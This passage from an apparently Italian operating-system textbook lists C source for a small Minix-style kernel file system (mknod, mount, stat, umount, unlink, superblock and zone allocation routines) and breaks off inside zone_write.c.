840036      mode &= 00777;
840037      mode |= S_IFDIR;
840038      //
840039      // The full path and the directory path is needed.
840040      //
840041      status = path_full (path, ps->path_cwd, path_directory);
840042      if (status < 0)
840043        {
840044          return (-1);
840045        }
840046      strncpy (path_copy, path_directory, PATH_MAX);
840047      path_copy[PATH_MAX-1] = 0;
840048      path_parent = dirname (path_copy);
840049      //
840050      // Check if something already exists with the same name. The scan
840051      // is done with kernel privileges.
840052      //
840053      inode_directory = path_inode ((uid_t) 0, path_directory);
840054      if (inode_directory != NULL)
840055        {
840056          //
840057          // The file already exists. Put inode and return an error.
840058          //
840059          inode_put (inode_directory);
840060          errset (EEXIST);                // File exists.
840061          return (-1);
840062        }
840063      //
840064      // Try to locate the directory that should contain this one.
840065      //
840066      inode_parent = path_inode (pid, path_parent);
840067      if (inode_parent == NULL)
840068        {
840069          //
840070          // Cannot locate the directory: return an error. The variable
```

```
840071             // ‘errno’ should already be set by ‘path_inode()’.
840072             //
840073             errset (errno);
840074             return (-1);
840075           }
840076         //
840077         // Try to create the node: should fail if the user does not have
840078         // enough permissions.
840079         //
840080         inode_directory = path_inode_link (pid, path_directory, NULL,
840081                                            mode);
840082         if (inode_directory == NULL)
840083           {
840084             //
840085             // Sorry: cannot create the inode! The variable ‘errno’ should
840086             // already be set by ‘path_inode_link()’.
840087             //
840088             errset (errno);
840089             return (-1);
840090           }
840091         //
840092         // Fill records for ‘.’ and ‘..’.
840093         //
840094         directory.inode_1 = inode_directory->ino;
840095         strncpy (directory.name_1, ".",  (size_t) 3);
840096         directory.inode_2 = inode_parent->ino;
840097         strncpy (directory.name_2, "..", (size_t) 3);
840098         //
840099         // Write data.
840100         //
840101         size_written = inode_file_write (inode_directory, (off_t) 0,
840102                                          &directory, (sizeof directory));
840103         if (size_written != (sizeof directory))
840104           {
840105             return (-1);
840106           }
840107         //
840108         // Fix directory inode links.
840109         //
840110         inode_directory->links   = 2;
840111         inode_directory->time    = k_time (NULL);
840112         inode_directory->changed = 1;
840113         //
840114         // Fix parent directory inode links.
840115         //
840116         inode_parent->links++;
840117         inode_parent->time       = k_time (NULL);
840118         inode_parent->changed    = 1;
840119         //
840120         // Save and put the inodes.
840121         //
840122         inode_save (inode_parent);
```

```
840123      inode_save  (inode_directory);
840124      inode_put   (inode_parent);
840125      inode_put   (inode_directory);
840126      //
840127      // Return.
840128      //
840129      return (0);
840130  }
```

105.4.42 kernel/fs/path_mknod.c

Si veda la sezione 104.3.40.

```
850001  #include <kernel/fs.h>
850002  #include <errno.h>
850003  #include <kernel/proc.h>
850004  //----------------------------------------------------------------------
850005  int
850006  path_mknod (pid_t pid, const char *path, mode_t mode, dev_t device)
850007  {
850008      proc_t   *ps;
850009      inode_t  *inode;
850010      char      full_path[PATH_MAX];
850011      //
850012      // Get process.
850013      //
850014      ps = proc_reference (pid);
850015      //
850016      // Correct the mode with the umask.
850017      //
850018      mode &= ~ps->umask;
850019      //
850020      // Currently must be root for any kind of node to be created.
850021      //
850022      if (ps->uid != 0)
850023        {
850024          errset (EPERM);                  // Operation not permitted.
850025          return (-1);
850026        }
850027      //
850028      // Check the type of node requested.
850029      //
850030      if (!(S_ISBLK (mode) ||
850031            S_ISCHR (mode) ||
850032            S_ISREG (mode) ||
850033            S_ISDIR (mode)))
850034        {
850035          errset (EINVAL);                 // Invalid argument.
850036          return (-1);
850037        }
850038      //
```

```
850039      // Check if something already exists with the same name.
850040      //
850041      inode = path_inode (pid, path);
850042      if (inode != NULL)
850043        {
850044          //
850045          // The file already exists. Put inode and return an error.
850046          //
850047          inode_put (inode);
850048          errset (EEXIST);                // File exists.
850049          return (-1);
850050        }
850051      //
850052      // Try to creat the node.
850053      //
850054      path_full (path, ps->path_cwd, full_path);
850055      inode = path_inode_link (pid, full_path, NULL, mode);
850056      if (inode == NULL)
850057        {
850058          //
850059          // Sorry: cannot create the inode!
850060          //
850061          return (-1);
850062        }
850063      //
850064      // Set the device number if necessary.
850065      //
850066      if (S_ISBLK (mode) || S_ISCHR (mode))
850067        {
850068          inode->direct[0] = device;
850069          inode->changed = 1;
850070        }
850071      //
850072      // Put the inode.
850073      //
850074      inode_put (inode);
850075      //
850076      // Return.
850077      //
850078      return (0);
850079  }
```

105.4.43 kernel/fs/path_mount.c

Si veda la sezione 104.3.41.

```
860001  #include <kernel/fs.h>
860002  #include <errno.h>
860003  #include <kernel/proc.h>
860004  //----------------------------------------------------------------------
860005  int
```

```
860006 path_mount (pid_t pid, const char *path_dev, const char *path_mnt,
860007             int options)
860008 {
860009     proc_t   *ps;
860010     dev_t     device;        // Device to mount.
860011     inode_t  *inode_mnt;     // Directory mount point.
860012     void     *pstatus;
860013     //
860014     // Get process.
860015     //
860016     ps = proc_reference (pid);
860017     //
860018     // Verify to be the super user.
860019     //
860020     if (ps->euid != 0)
860021       {
860022         errset (EPERM);         // Operation not permitted.
860023         return (-1);
860024       }
860025     //
860026     device = path_device (pid, path_dev);
860027     if (device < 0)
860028       {
860029         return (-1);
860030       }
860031     //
860032     inode_mnt = path_inode (pid, path_mnt);
860033     if (inode_mnt == NULL)
860034       {
860035         return (-1);
860036       }
860037     if (!S_ISDIR (inode_mnt->mode))
860038       {
860039         inode_put (inode_mnt);
860040         errset (ENOTDIR);       // Not a directory.
860041         return (-1);
860042       }
860043     if (inode_mnt->sb_attached != NULL)
860044       {
860045         inode_put (inode_mnt);
860046         errset (EBUSY);         // Device or resource busy.
860047         return (-1);
860048       }
860049     //
860050     // All data is available.
860051     //
860052     pstatus = sb_mount (device, &inode_mnt, options);
860053     if (pstatus == NULL)
860054       {
860055         inode_put (inode_mnt);
860056         return (-1);
860057       }
```

```
860058      //
860059      return (0);
860060  }
```

105.4.44 kernel/fs/path_stat.c

Si veda la sezione 104.3.50.

```
870001  #include <kernel/fs.h>
870002  #include <errno.h>
870003  #include <kernel/proc.h>
870004  //----------------------------------------------------------------------
870005  int
870006  path_stat (pid_t pid, const char *path, struct stat *buffer)
870007  {
870008      proc_t   *ps;
870009      inode_t  *inode;
870010      //
870011      // Get process.
870012      //
870013      ps = proc_reference (pid);
870014      //
870015      // Try to load the file inode.
870016      //
870017      inode = path_inode (pid, path);
870018      if (inode == NULL)
870019        {
870020          //
870021          // Cannot access the file: it does not exists or permissions are
870022          // not sufficient. Variable 'errno' is set by function
870023          // 'path_inode()'.
870024          //
870025          errset (errno);
870026          return (-1);
870027        }
870028      //
870029      // Inode loaded: update the buffer.
870030      //
870031      buffer->st_dev      = inode->sb->device;
870032      buffer->st_ino      = inode->ino;
870033      buffer->st_mode     = inode->mode;
870034      buffer->st_nlink    = inode->links;
870035      buffer->st_uid      = inode->uid;
870036      buffer->st_gid      = inode->gid;
870037      if (S_ISBLK (buffer->st_mode) || S_ISCHR (buffer->st_mode))
870038        {
870039          buffer->st_rdev = inode->direct[0];
870040        }
870041      else
870042        {
870043          buffer->st_rdev = 0;
```

```
870044         }
870045       buffer->st_size      = inode->size;
870046       buffer->st_atime     = inode->time;  // All times are the same for
870047       buffer->st_mtime     = inode->time;  // Minix 1 file system.
870048       buffer->st_ctime     = inode->time;  //
870049       buffer->st_blksize   = inode->sb->blksize;
870050       buffer->st_blocks    = inode->blkcnt;
870051       //
870052       // If the inode is a device special file, the 'st_rdev' value is
870053       // taken from the first direct zone (as of Minix 1 organization).
870054       //
870055       if (S_ISBLK(inode->mode) || S_ISCHR(inode->mode))
870056         {
870057           buffer->st_rdev = inode->direct[0];
870058         }
870059       else
870060         {
870061           buffer->st_rdev = 0;
870062         }
870063       //
870064       // Release the inode and return.
870065       //
870066       inode_put (inode);
870067       //
870068       // Return.
870069       //
870070       return (0);
870071   }
```

105.4.45 kernel/fs/path_umount.c

Si veda la sezione 104.3.41.

```
880001   #include <kernel/fs.h>
880002   #include <errno.h>
880003   #include <kernel/proc.h>
880004   //----------------------------------------------------------------------
880005   int
880006   path_umount (pid_t pid, const char *path_mnt)
880007   {
880008       proc_t   *ps;
880009       dev_t     device;                 // Device to mount.
880010       inode_t  *inode_mount_point;      // Original mount point.
880011       inode_t  *inode;                  // Inode table.
880012       int       i;                      // Inode table index.
880013       //
880014       // Get process.
880015       //
880016       ps = proc_reference (pid);
880017       //
880018       // Verify to be the super user.
```

```
880019      //
880020      if (ps->euid != 0)
880021        {
880022          errset (EPERM);          // Operation not permitted.
880023          return (-1);
880024        }
880025      //
880026      // Get the directory mount point.
880027      //
880028      inode_mount_point = path_inode (pid, path_mnt);
880029      if (inode_mount_point == NULL)
880030        {
880031          errset (ENOENT);                 // No such file or directory.
880032          return (-1);
880033        }
880034      //
880035      // Verify that the path is a directory.
880036      //
880037      if (!S_ISDIR (inode_mount_point->mode))
880038        {
880039          inode_put (inode_mount_point);
880040          errset (ENOTDIR);                // Not a directory.
880041          return (-1);
880042        }
880043      //
880044      // Verify that there is something attached.
880045      //
880046      device = inode_mount_point->sb_attached->device;
880047      if (device == 0)
880048        {
880049          //
880050          // There is nothing to unmount.
880051          //
880052          inode_put (inode_mount_point);
880053          errset (E_NOT_MOUNTED);          // Not mounted.
880054          return (-1);
880055        }
880056      //
880057      // Are there exactly two internal references? Let's explain:
880058      // the directory that act as mount point, should have one reference
880059      // because it is mounting something and another because it was just
880060      // opened again, a few lines above. If there are more references
880061      // it is wrong; if there are less, it is also wrong at this point.
880062      //
880063      if (inode_mount_point->references != 2)
880064        {
880065          inode_put (inode_mount_point);
880066          errset (EUNKNOWN);               // Unknown error.
880067          return (-1);
880068        }
880069      //
880070      // All data is available: find if there are open file inside
```

```
880071      // the file system to unmount. But first load the inode table
880072      // pointer.
880073      //
880074      inode = inode_reference ((dev_t) 0, (ino_t) 0);
880075      if (inode == NULL)
880076        {
880077          //
880078          // This error should not happen.
880079          //
880080          inode_put (inode_mount_point);
880081          errset (EUNKNOWN);              // Unknown error.
880082          return (-1);
880083        }
880084      //
880085      // Scan the inode table.
880086      //
880087      for (i = 0; i < INODE_MAX_SLOTS; i++)
880088        {
880089          if (inode[i].sb == inode_mount_point->sb_attached  &&
880090              inode[i].references > 0)
880091            {
880092              //
880093              // At least one file is open inside the super block to
880094              // release: cannot unmount.
880095              //
880096              inode_put (inode_mount_point);
880097              errset (EBUSY);             // Device or resource busy.
880098              return (-1);
880099            }
880100        }
880101      //
880102      // Can unmount: save and remove the super block memory;
880103      // clear the mount point reference and put inode.
880104      //
880105      inode_mount_point->sb_attached->changed          = 1;
880106      sb_save (inode_mount_point->sb_attached);
880107      //
880108      inode_mount_point->sb_attached->device           = 0;
880109      inode_mount_point->sb_attached->inode_mounted_on = NULL;
880110      inode_mount_point->sb_attached->blksize          = 0;
880111      inode_mount_point->sb_attached->options          = 0;
880112      //
880113      inode_mount_point->sb_attached                   = NULL;
880114      inode_mount_point->references                    = 0;
880115      inode_put (inode_mount_point);
880116      //
880117      inode_put (inode_mount_point);
880118      //
880119      return (0);
880120  }
```

105.4.46 kernel/fs/path_unlink.c

Si veda la sezione 104.3.44.

```
890001 #include <kernel/fs.h>
890002 #include <errno.h>
890003 #include <kernel/proc.h>
890004 #include <libgen.h>
890005 #include <kernel/k_libc.h>
890006 //----------------------------------------------------------------------
890007 int
890008 path_unlink (pid_t pid, const char *path)
890009 {
890010     proc_t      *ps;
890011     inode_t     *inode_unlink;
890012     inode_t     *inode_directory;
890013     char         path_unlink[PATH_MAX];
890014     char         path_copy[PATH_MAX];
890015     char        *path_directory;
890016     char        *name_unlink;
890017     dev_t        device;
890018     off_t        start;
890019     char         buffer[SB_MAX_ZONE_SIZE];
890020     directory_t *dir = (directory_t *) buffer;
890021     int          status;
890022     ssize_t      size_read;
890023     ssize_t      size_written;
890024     int          d;                     // Directory buffer index.
890025     //
890026     // Get process.
890027     //
890028     ps = proc_reference (pid);
890029     //
890030     // Get full paths.
890031     //
890032     path_full (path, ps->path_cwd, path_unlink);
890033     strncpy (path_copy, path_unlink, PATH_MAX);
890034     path_directory = dirname (path_copy);
890035     //
890036     // Get the inode to be unlinked.
890037     //
890038     inode_unlink = path_inode (pid, path_unlink);
890039     if (inode_unlink == NULL)
890040       {
890041         return (-1);
890042       }
890043     //
890044     // If it is a directory, verify that it is empty.
890045     //
890046     if (S_ISDIR (inode_unlink->mode))
890047       {
890048         if (!inode_dir_empty (inode_unlink))
890049           {
```

```
890050                  inode_put (inode_unlink);
890051                  errset (ENOTEMPTY);         // Directory not empty.
890052                  return (-1);
890053                }
890054            }
890055          //
890056          // Get the inode of the directory containing it.
890057          //
890058          inode_directory = path_inode (pid, path_directory);
890059          if (inode_directory == NULL)
890060            {
890061              inode_put (inode_unlink);
890062              return (-1);
890063            }
890064          //
890065          // Check if something is mounted on the directory.
890066          //
890067          if (inode_directory->sb_attached != NULL)
890068            {
890069              //
890070              // Must select the right directory.
890071              //
890072              device = inode_directory->sb_attached->device;
890073              inode_put (inode_directory);
890074              inode_directory = inode_get (device, 1);
890075              if (inode_directory == NULL)
890076                {
890077                  inode_put (inode_unlink);
890078                  return (-1);
890079                }
890080            }
890081          //
890082          // Check if write is allowed for the file system.
890083          //
890084          if (inode_directory->sb->options & MOUNT_RO)
890085            {
890086              errset (EROFS);         // Read-only file system.
890087              return (-1);
890088            }
890089          //
890090          // Verify access permissions for the directory. The number "3" means
890091          // that the user must have access permission and write permission:
890092          // "-wx" == 2+1 == 3.
890093          //
890094          status = inode_check (inode_directory, S_IFDIR, 3, ps->uid);
890095          if (status != 0)
890096            {
890097              errset (EPERM);                 // Operation not permitted.
890098              inode_put (inode_unlink);
890099              inode_put (inode_directory);
890100              return (-1);
890101            }
```

```
890102      //
890103      // Get the base name to be unlinked: this will alter the
890104      // original path.
890105      //
890106      name_unlink = basename (path_unlink);
890107      //
890108      // Read the directory content and try to locate the item to unlink.
890109      //
890110      for (start  = 0;
890111           start <  inode_directory->size;
890112           start += inode_directory->sb->blksize)
890113        {
890114          size_read = inode_file_read (inode_directory, start, buffer,
890115                                       inode_directory->sb->blksize,
890116                                       NULL);
890117          if (size_read < sizeof (directory_t))
890118            {
890119              break;
890120            }
890121          //
890122          // Scan the directory portion just read, for the item to unlink.
890123          //
890124          dir = (directory_t *) buffer;
890125          //
890126          for (d = 0; d < size_read; d += (sizeof (directory_t)), dir++)
890127            {
890128              if (dir->ino != 0                                    &&
890129                  strncmp (dir->name, name_unlink, NAME_MAX) == 0)
890130                {
890131                  //
890132                  // Found the corresponding item: unlink the inode.
890133                  //
890134                  dir->ino     = 0;
890135                  //
890136                  // Update the directory inside the file system.
890137                  //
890138                  size_written = inode_file_write (inode_directory, start,
890139                                                   buffer, size_read);
890140                  if (size_written != size_read)
890141                    {
890142                      //
890143                      // Write problem: just tell.
890144                      //
890145                      k_printf ("kernel alert: directory write error!\n");
890146                    }
890147                  //
890148                  // Update directory inode and put inode. If the unlinked
890149                  // inode was a directory, the parent directory inode
890150                  // must reduce the file system link count.
890151                  //
890152                  if (S_ISDIR (inode_unlink->mode))
890153                    {
```

```
890154                         inode_directory->links--;
890155                       }
890156                     inode_directory->time = k_time (NULL);
890157                     inode_directory->changed = 1;
890158                     inode_put (inode_directory);
890159                     //
890160                     // Reduce link inside unlinked inode and put inode.
890161                     //
890162                     inode_unlink->links--;
890163                     inode_unlink->changed = 1;
890164                     inode_unlink->time = k_time (NULL);
890165                     inode_put (inode_unlink);
890166                     //
890167                     // Just return, as the work is done.
890168                     //
890169                     return (0);
890170                   }
890171               }
890172           }
890173         //
890174         // At this point, it was not possible to unlink the file.
890175         //
890176         inode_put (inode_unlink);
890177         inode_put (inode_directory);
890178         errset (EUNKNOWN);          // Unknown error.
890179         return (-1);
890180     }
```

105.4.47 kernel/fs/sb_inode_status.c

Si veda la sezione 104.3.45.

```
900001   #include <kernel/fs.h>
900002   #include <errno.h>
900003   //----------------------------------------------------------------------
900004   int
900005   sb_inode_status (sb_t *sb, ino_t ino)
900006   {
900007       int map_element;
900008       int map_bit;
900009       int map_mask;
900010       //
900011       // Check arguments.
900012       //
900013       if (ino == 0 || sb == NULL)
900014         {
900015           errset (EINVAL);        // Invalid argument.
900016           return (-1);
900017         }
900018       //
900019       //  Calculate the map element, the map bit and the map mask.
```

```
900020      //
900021      map_element = ino / 16;
900022      map_bit     = ino % 16;
900023      map_mask    = 1 << map_bit;
900024      //
900025      // Check the inode and return.
900026      //
900027      if (sb->map_inode[map_element] & map_mask)
900028        {
900029          return (1);      // True.
900030        }
900031      else
900032        {
900033          return (0);      // False.
900034        }
900035  }
```

105.4.48 kernel/fs/sb_mount.c

Si veda la sezione 104.3.46.

```
910001  #include <kernel/fs.h>
910002  #include <errno.h>
910003  #include <kernel/devices.h>
910004  //----------------------------------------------------------------------
910005  sb_t *
910006  sb_mount (dev_t device, inode_t **inode_mnt, int options)
910007  {
910008      sb_t    *sb;
910009      ssize_t size_read;
910010      addr_t  start;
910011      int     m;
910012      size_t  size_sb;
910013      size_t  size_map;
910014      //
910015      // Find if it is already mounted.
910016      //
910017      sb = sb_reference (device);
910018      if (sb != NULL)
910019        {
910020          errset (EBUSY);          // Device or resource busy: device
910021          return (NULL);           // already mounted.
910022        }
910023      //
910024      // Find if `*inode_mnt' is already mounting something.
910025      //
910026      if (*inode_mnt != NULL && (*inode_mnt)->sb_attached != NULL)
910027        {
910028          errset (EBUSY);          // Device or resource busy: mount point
910029          return (NULL);           // already used.
910030        }
```

```
910031       //
910032       // The inode is not yet mounting anything, or it is new: find a free
910033       // slot inside the super block table.
910034       //
910035       sb = sb_reference ((dev_t) -1);
910036       if (sb == NULL)
910037         {
910038           errset (EBUSY);         // Device or resource busy:
910039           return (NULL);          // no free slots.
910040         }
910041       //
910042       // A free slot was found: the super block header must be loaded, but
910043       // before it is necessary to calculate the header size to be read.
910044       //
910045       size_sb = offsetof (sb_t, device);
910046       //
910047       // Then fix the starting point.
910048       //
910049       start  = 1024;                      // After boot block.
910050       //
910051       // Read the file system super block header.
910052       //
910053       size_read = dev_io ((pid_t) -1, device, DEV_READ, start, sb,
910054                           size_sb, NULL);
910055       if (size_read != size_sb)
910056         {
910057           errset (EIO);                   // I/O error.
910058           return (NULL);
910059         }
910060       //
910061       // Save some more data.
910062       //
910063       sb->device           =  device;
910064       sb->options          =  options;
910065       sb->inode_mounted_on = *inode_mnt;
910066       sb->blksize          =  (1024 << sb->log2_size_zone);
910067       //
910068       // Check if the super block data is valid.
910069       //
910070       if (sb->magic_number != 0x137F)
910071         {
910072           errset (ENODEV);        // No such device: unsupported
910073           sb->device = 0;         // file system type.
910074           return (NULL);
910075         }
910076       if (sb->map_inode_blocks > SB_MAX_INODE_BLOCKS)
910077         {
910078           errset (E_MAP_INODE_TOO_BIG);
910079           return (NULL);
910080         }
910081       if (sb->map_zone_blocks > SB_MAX_ZONE_BLOCKS)
910082         {
```

```
910083             errset (E_MAP_ZONE_TOO_BIG);
910084             return (NULL);
910085           }
910086         if (sb->blksize > SB_MAX_ZONE_SIZE)
910087           {
910088             errset (E_DATA_ZONE_TOO_BIG);
910089             return (NULL);
910090           }
910091         //
910092         // A right super block header was loaded from disk, now load the
910093         // super block inode bit map.
910094         //
910095         start  = 1024;                              // After boot block.
910096         start += 1024;                              // After super block.
910097         for (m = 0; m < SB_MAP_INODE_SIZE; m++)     //
910098           {                                         // Reset map in memory,
910099             sb->map_inode[m] = 0xFFFF;              // before loading.
910100           }                                         //
910101         size_map = sb->map_inode_blocks * 1024;
910102         size_read = dev_io ((pid_t) -1, sb->device, DEV_READ, start,
910103                             sb->map_inode, size_map, NULL);
910104         if (size_read != size_map)
910105           {
910106             errset (EIO);                   // I/O error.
910107             return (NULL);
910108           }
910109         //
910110         // Load the super block zone bit map.
910111         //
910112         start  = 1024;                              // After boot block.
910113         start += 1024;                              // After super block.
910114         start += (sb->map_inode_blocks * 1024);     // After inode bit map.
910115         for (m = 0; m < SB_MAP_ZONE_SIZE; m++)      //
910116           {                                         // Reset map in memory,
910117             sb->map_zone[m] = 0xFFFF;               // before loading.
910118           }                                         //
910119         size_map = sb->map_zone_blocks * 1024;
910120         size_read = dev_io ((pid_t) -1, sb->device, DEV_READ, start,
910121                             sb->map_zone, size_map, NULL);
910122         if (size_read != size_map)
910123           {
910124             errset (EIO);                   // I/O error.
910125             return (NULL);
910126           }
910127         //
910128         // Check the inode that should mount the super block. If
910129         // `*inode_mnt' is `NULL', then it is meant to be the first mount of
910130         // the root file system. In such case, the inode must be loaded too,
910131         // and the value for `*inode_mnt' must be modified.
910132         //
910133         if (*inode_mnt == NULL)
910134           {
```

```
910135         *inode_mnt = inode_get (device, 1);
910136       }
910137     //
910138     // Check for a valid value.
910139     //
910140     if (*inode_mnt == NULL)
910141       {
910142         //
910143         // This is bad!
910144         //
910145         errset (EUNKNOWN);              // Unknown error.
910146         return (NULL);
910147       }
910148     //
910149     // A valid inode is available for the mount.
910150     //
910151     (*inode_mnt)->sb_attached  = sb;
910152     //
910153     // Return the super block pointer.
910154     //
910155     return (sb);
910156 }
```

105.4.49 kernel/fs/sb_reference.c

Si veda la sezione 104.3.47.

```
920001 #include <kernel/fs.h>
920002 #include <errno.h>
920003 //----------------------------------------------------------------------
920004 sb_t *
920005 sb_reference (dev_t device)
920006 {
920007     int s;                              // Slot index.
920008     //
920009     // If device is zero, a reference to the whole table is returned.
920010     //
920011     if (device == 0)
920012       {
920013         return (sb_table);
920014       }
920015     //
920016     // If device is ((dev_t) -1), a reference to a free slot is
920017     // returned.
920018     //
920019     if (device == ((dev_t) -1))
920020       {
920021         for (s = 0; s < SB_MAX_SLOTS; s++)
920022           {
920023             if (sb_table[s].device == 0)
920024               {
```

```
920025                 return (&sb_table[s]);
920026               }
920027           }
920028         return (NULL);
920029       }
920030     //
920031     // A device was selected: find the super block associated to it.
920032     //
920033     for (s = 0; s < SB_MAX_SLOTS; s++)
920034       {
920035         if (sb_table[s].device == device)
920036           {
920037             return (&sb_table[s]);
920038           }
920039       }
920040     //
920041     // The super block was not found.
920042     //
920043     return (NULL);
920044 }
```

105.4.50 kernel/fs/sb_save.c

Si veda la sezione 104.3.48.

```
930001 #include <kernel/fs.h>
930002 #include <errno.h>
930003 #include <kernel/devices.h>
930004 //----------------------------------------------------------------------
930005 int
930006 sb_save (sb_t *sb)
930007 {
930008     ssize_t size_written;
930009     addr_t  start;
930010     size_t  size_map;
930011     //
930012     // Check for valid argument.
930013     //
930014     if (sb == NULL)
930015       {
930016         errset (EINVAL);                        // Invalid argument.
930017         return (-1);
930018       }
930019     //
930020     // Check if the super block changed for some reason (only the
930021     // inode and the zone maps can change really).
930022     //
930023     if (!sb->changed)
930024       {
930025         //
930026         // Nothing to save.
```

```
930027             //
930028             return (0);
930029           }
930030         //
930031         // Something inside the super block changed: start the procedure to
930032         // save the inode map (recall that the super block header is not
930033         // saved, because it never changes).
930034         //
930035         start  = 1024;                              // After boot block.
930036         start += 1024;                              // After super block.
930037         size_map = sb->map_inode_blocks * 1024;
930038         size_written = dev_io ((pid_t) -1, sb->device, DEV_WRITE, start,
930039                     sb->map_inode, size_map, NULL);
930040         if (size_written != size_map)
930041           {
930042             //
930043             // Error writing the map.
930044             //
930045             errset (EIO);                   // I/O error.
930046             return (-1);
930047           }
930048         //
930049         // Start the procedure to save the zone map.
930050         //
930051         start  = 1024;                              // After boot block.
930052         start += 1024;                              // After super block.
930053         start += (sb->map_inode_blocks * 1024);     // After inode bit map.
930054         size_map = sb->map_zone_blocks * 1024;
930055         size_written = dev_io ((pid_t) -1, sb->device, DEV_WRITE, start,
930056                     sb->map_zone, size_map, NULL);
930057         if (size_written != size_map)
930058           {
930059             //
930060             // Error writing the map.
930061             //
930062             errset (EIO);                   // I/O error.
930063             return (-1);
930064           }
930065         //
930066         // Super block saved.
930067         //
930068         sb->changed = 0;
930069         //
930070         return (0);
930071     }
```

105.4.51 kernel/fs/sb_table.c

Si veda la sezione 104.3.47.

```
940001 #include <kernel/fs.h>
940002 //----------------------------------------------------------------------
940003 sb_t    sb_table[SB_MAX_SLOTS];
```

105.4.52 kernel/fs/sb_zone_status.c

Si veda la sezione 104.3.45.

```
950001 #include <kernel/fs.h>
950002 #include <errno.h>
950003 //----------------------------------------------------------------------
950004 int
950005 sb_zone_status (sb_t *sb, zno_t zone)
950006 {
950007     int map_element;
950008     int map_bit;
950009     int map_mask;
950010     //
950011     // Check arguments.
950012     //
950013     if (zone == 0 || sb == NULL)
950014       {
950015         errset (EINVAL);        // Invalid argument.
950016         return (-1);
950017       }
950018     //
950019     //  Calculate the map element, the map bit and the map mask.
950020     //
950021     map_element = zone / 16;
950022     map_bit     = zone % 16;
950023     map_mask    = 1 << map_bit;
950024     //
950025     // Check the zone and return.
950026     //
950027     if (sb->map_zone[map_element] & map_mask)
950028       {
950029         return (1);     // True.
950030       }
950031     else
950032       {
950033         return (0);     // False.
950034       }
950035 }
```

105.4.53 kernel/fs/zone_alloc.c

Si veda la sezione 104.3.51.

```
960001 #include <kernel/fs.h>
960002 #include <kernel/devices.h>
960003 #include <errno.h>
960004 //----------------------------------------------------------------------
960005 zno_t
960006 zone_alloc (sb_t *sb)
960007 {
960008     int    m;                      // Index inside the inode map.
960009     int    map_element;
960010     int    map_bit;
960011     int    map_mask;
960012     zno_t  zone;
960013     char   buffer[SB_MAX_ZONE_SIZE];
960014     int    status;
960015     //
960016     // Verify if write is allowed.
960017     //
960018     if (sb->options & MOUNT_RO)
960019       {
960020         errset (EROFS);          // Read-only file system.
960021         return ((zno_t) 0);
960022       }
960023     //
960024     // Write allowed: scan the zone map, to find a free zone.
960025     // If a free zone can be found, allocate it inside the map.
960026     // Index 'm' starts from one, because the first bit of the
960027     // map is reserved for a 'zero' data-zone that does not
960028     // exist: the second bit is for the real first data-zone.
960029     //
960030     for (zone = 0, m = 1; m < (SB_MAP_ZONE_SIZE * 16); m++)
960031       {
960032         map_element = m / 16;
960033         map_bit     = m % 16;
960034         map_mask    = 1 << map_bit;
960035         if (!(sb->map_zone[map_element] & map_mask))
960036           {
960037             //
960038             // Found a free place: set the map.
960039             //
960040             sb->map_zone[map_element] |= map_mask;
960041             sb->changed = 1;
960042             //
960043             // The *second* bit inside the map is for the first data
960044             // zone (the zone after the inode table inside the file
960045             // system), because the first is for a special 'zero' data
960046             // zone, not really used.
960047             //
960048             zone = sb->first_data_zone + m - 1; // Found a free zone.
960049             //
```

```
960050                // If the zone is outside the disk size, let set the map
960051                // bit, but reset variable 'zone'.
960052                //
960053                if (zone >= sb->zones)
960054                  {
960055                    zone = 0;
960056                  }
960057                else
960058                  {
960059                    break;
960060                  }
960061            }
960062        }
960063      if (zone == 0)
960064        {
960065          errset (ENOSPC);        // No space left on device.
960066          return ((zno_t) 0);
960067        }
960068      //
960069      // A free zone was found and the map was modified inside
960070      // the super block in memory. The zone must be cleared.
960071      //
960072      status = zone_write (sb, zone, buffer);
960073      if (status != 0)
960074        {
960075          zone_free (sb, zone);
960076          return ((zno_t) 0);
960077        }
960078      //
960079      // A zone was allocated: return the number.
960080      //
960081      return (zone);
960082  }
```

105.4.54 kernel/fs/zone_free.c

Si veda la sezione 104.3.51.

```
970001  #include <kernel/fs.h>
970002  #include <kernel/devices.h>
970003  #include <errno.h>
970004  //----------------------------------------------------------------------
970005  int
970006  zone_free (sb_t *sb, zno_t zone)
970007  {
970008      int map_element;
970009      int map_bit;
970010      int map_mask;
970011      //
970012      // Check arguments.
970013      //
```

```
970014      if (sb == NULL || zone < sb->first_data_zone)
970015        {
970016          errset (EINVAL);        // Invalid argument.
970017          return (-1);
970018        }
970019      //
970020      // Calculate the map element, the map bit and the map mask.
970021      //
970022      // The *second* bit inside the map is for the first data-zone
970023      // (the zone after the inode table inside the file system),
970024      // because the first is for a special 'zero' data-zone, not
970025      // really used.
970026      //
970027      map_element = (zone - sb->first_data_zone + 1) / 16;
970028      map_bit     = (zone - sb->first_data_zone + 1) % 16;
970029      map_mask    = 1 << map_bit;
970030      //
970031      // Verify if the requested zone is inside the file system area.
970032      //
970033      if (zone >= sb->zones)
970034        {
970035          errset (EINVAL);        // Invalid argument.
970036          return (-1);
970037        }
970038      //
970039      // Free the zone and return.
970040      //
970041      if (sb->map_zone[map_element] & map_mask)
970042        {
970043          sb->map_zone[map_element] &= ~map_mask;
970044          sb->changed = 1;
970045          return (0);
970046        }
970047      else
970048        {
970049          errset (EUNKNOWN);              // The zone was already free.
970050          return (-1);
970051        }
970052  }
```

105.4.55 kernel/fs/zone_read.c

Si veda la sezione 104.3.53.

```
980001  #include <sys/os16.h>
980002  #include <kernel/fs.h>
980003  #include <kernel/devices.h>
980004  #include <errno.h>
980005  //----------------------------------------------------------------------
980006  int
980007  zone_read (sb_t *sb, zno_t zone, void *buffer)
```

```
980008 {
980009     size_t   size_zone;
980010     off_t    off_start;
980011     ssize_t  size_read;
980012     //
980013     // Verify if the requested zone is inside the file system area.
980014     //
980015     if (zone >= sb->zones)
980016       {
980017         errset (EINVAL);        // Invalid argument.
980018         return (-1);
980019       }
980020     //
980021     // Calculate start position.
980022     //
980023     size_zone  = 1024 << sb->log2_size_zone;
980024     off_start  = zone;
980025     off_start *= size_zone;
980026     //
980027     // Read from device to the buffer.
980028     //
980029     size_read = dev_io ((pid_t) -1, sb->device, DEV_READ, off_start,
980030                         buffer, size_zone, NULL);
980031     if (size_read != size_zone)
980032       {
980033         errset (EIO);           // I/O error.
980034         return (-1);
980035       }
980036     else
980037       {
980038         return (0);
980039       }
980040 }
```

105.4.56 kernel/fs/zone_write.c

Si veda la sezione 104.3.53.

```
990001 #include <kernel/fs.h>
990002 #include <kernel/devices.h>
990003 #include <errno.h>
990004 //----------------------------------------------------------------------
990005 int
990006 zone_write (sb_t *sb, zno_t zone, void *buffer)
990007 {
990008     size_t   size_zone;
990009     off_t    off_start;
990010     ssize_t  size_written;
990011     //
